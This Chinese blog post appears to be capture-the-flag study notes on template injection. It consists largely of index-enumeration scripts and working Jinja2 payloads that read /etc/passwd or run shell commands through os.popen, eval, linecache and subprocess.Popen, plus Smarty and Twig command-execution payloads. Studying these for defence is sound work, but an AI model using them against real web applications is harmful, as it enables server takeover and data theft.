当前位置:   article > 正文

python flask Jinja2模板学习_flask twig

flask twig

分类很好的一篇文章

Jinja2模板语法 

Jinja2里常见的三种定界符:

  • (1) 语句 {% ... %}
  • (2) 表达式 {{ ... }}
  • (3) 注释 {# ... #}
  1.    {%set a='dazhaung'%} 语句设置变量
  2.    {{a}} 表达式
  3. {% if 2>1 %}控制语句以{%endif%}结尾

Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。 


python 类的基础知识

所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行

魔法方法

__class__ 查找当前类型的所属对象

__base__ 沿着父子类的关系往上走一个

__mro__ 查找当前类对象的所有继承类

__subclasses__() 查找父类下的所有子类

__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载

__globals__ 函数会以字典形式返回当前对象的全部全局变量

__builtins__提供对python的所有内置标识符的直接访问

eval计算字符串表达式的值

popen()执行一个shell以运行命令

一、文件读取 多配合pin码 

step1:脚本读取 _frozen_importlib_external.FileLoader

  1. import requests
  2. url = input('请输入 URL : ')
  3. for i in range(500):
  4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
  5. response = requests.post(url, data=data)
  6. if response.status_code == 200:
  7. if '_frozen_importlib_external.FileLoader' in response.text:
  8. print(i)

step2: 直接利用其 get_data() 函数即可。

get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。

0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

二、RCE 远程代码执行

1. 利用含有内建函数eval的__builtins__  模块执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问

step1: 脚本查找首可以利用内建函数 eval 的模块: 

  1. import requests
  2. url = input("请输入 URL:")
  3. for i in range(500):
  4. # payload 中需要先初始化再列出所有全局变量
  5. data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
  6. response = requests.post(url, data=data)
  7. if response.status_code == 200:
  8. if "eval" in response.text:
  9. print(i)

step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令

  1. 利用内嵌函数eval进行命令执行
  2. name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
  3. 利用file函数进行读取
  4. {{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2. os 模块执行系统命令  hackbar里边都有 

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)

  • 通过 config
  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    
  • 通过 url_for()
  1. {{url_for.__globals__.os.popen('ls').read()}}
  2. 等价于
  3. {{url_for.__globals__['os'].popen('ls').read()}}
  4. 注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
  • 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}

 2.2 在已经加载 os 模块的子类里直接调用 os 模块

(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类  <class 'os._wrap_close'>     <class 'subprocess.Popen'>

老规矩,先用脚本查找哪些子类已经加载 os 模块

  1. import requests
  2. url = input("请输入 URL:")
  3. for i in range(500):
  4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
  5. response = requests.post(url, data=data)
  6. if response.status_code == 200:
  7. if "os.py" in response.text:
  8. print(i)

 step2: 构造 payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

  1. import requests
  2. url = input("请输入 URL:")
  3. for i in range(500):
  4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
  5. response = requests.post(url, data=data)
  6. if response.status_code == 200:
  7. if "linecache" in response.text:
  8. print(i)
  9. {{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
  10. # 等价于
  11. {{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

3.其他

 读取配置文件中的FLAG 

  1. {{url_for.__globals__['current_app'].config.FLAG}}
  2. {{get_flashed_messages.__globals__['current_app'].config.FLAG}}

 利用warnings.catch_warnings 进行命令执行 

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块

  1. import requests
  2. url = input("请输入 URL:")
  3. for i in range(500):
  4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
  5. response = requests.post(url, data=data)
  6. if response.status_code == 200:
  7. if "_frozen_importlib.BuiltinImporter" in response.text:
  8. print(i)
step2: 构造 payload
  1. {{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
  2. 注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn  

  1. import requests
  2. url = input("请输入 URL:")
  3. for i in range(500):
  4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
  5. response = requests.post(url, data=data)
  6. if response.status_code == 200:
  7. if "subprocess.Popen" in response.text:
  8. print(i)
  9. {{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

常见的模板引擎有 

.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

1.smarty模板注入常用标签

{php}:

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签

但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用 

{}

直接输入php命令即可:
{system(‘ls’)}

 2.Twig模板注入 

  1. // Jinja2
  2. {{7*7}}
  3. {{7*'7'}} -> 7777777
  4. // Twig
  5. {{7*7}}
  6. {{7*'7'}} -> 49
  7. payload:
  8. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")}}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/463212
推荐阅读
相关标签
  

闽ICP备14008679号